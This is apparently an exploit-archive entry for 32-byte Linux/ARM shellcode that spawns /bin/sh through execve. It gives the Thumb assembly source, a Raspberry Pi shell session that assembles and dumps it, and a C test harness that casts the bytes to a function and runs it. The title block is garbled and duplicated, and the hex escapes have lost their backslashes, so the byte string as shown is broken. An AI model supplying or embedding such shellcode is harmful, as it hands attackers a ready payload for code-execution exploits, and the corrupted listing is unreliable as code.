/*
Title: Linux/ARM - execve("/bin/sh", ["/bin/sh"], NULL) Shellcode (32 Bytes)
Date: 2018-08-16
Tested: armv7l (Raspberry Pi 3 Model B+)
Author: /*
Title: Linux/ARM - execve("/bin/sh", ["/bin/sh"], NULL) Shellcode (32 Bytes)
Date: 2018-08-16
Tested: armv7l (Raspberry Pi 3 Model B+)
Author: Ken Kitahara

pi@raspberrypi:~ $ uname -a
Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
pi@raspberrypi:~ $ lsb_release -a
No LSB modules are available.
Distributor ID: Raspbian
Description: Raspbian GNU/Linux 9.4 (stretch)
Release: 9.4
Codename: stretch
pi@raspberrypi:~ $ cat binsh.s
.section .text
.global _start

_start:
.ARM
add r3, pc, #1
bx r3

.THUMB
// execve("/bin/sh", ["/bin/sh"], NULL)
adr r0, spawn
eor r2, r2, r2
strb r2, [r0, #7]
push {r0, r2}
mov r1, sp
mov r7, #11
svc #1

// adjust address
eor r7, r7, r7

spawn:
.ascii "/bin/shA"

pi@raspberrypi:~ $ as -o binsh.o binsh.s && ld -N -o binsh binsh.o
pi@raspberrypi:~ $ objcopy -O binary binsh binsh.bin
pi@raspberrypi:~ $ hexdump -v -e '"\""x" 1/1 "%02x" ""' binsh.bin
x01x30x8fxe2x13xffx2fxe1x03xa0x52x40xc2x71x05xb4x69x46x0bx27x01xdfx7fx40x2fx62x69x6ex2fx73x68x41

*/

#include<stdio.h>
#include<string.h>

unsigned char sc[] =
"x01x30x8fxe2x13xffx2fxe1"
"x03xa0x52x40xc2x71x05xb4"
"x69x46x0bx27x01xdfx7fx40"
"x2fx62x69x6ex2fx73x68x41";

void main()
{
printf("Shellcode Length: %d ", strlen(sc));

int (*ret)() = (int(*)())sc;

ret();
}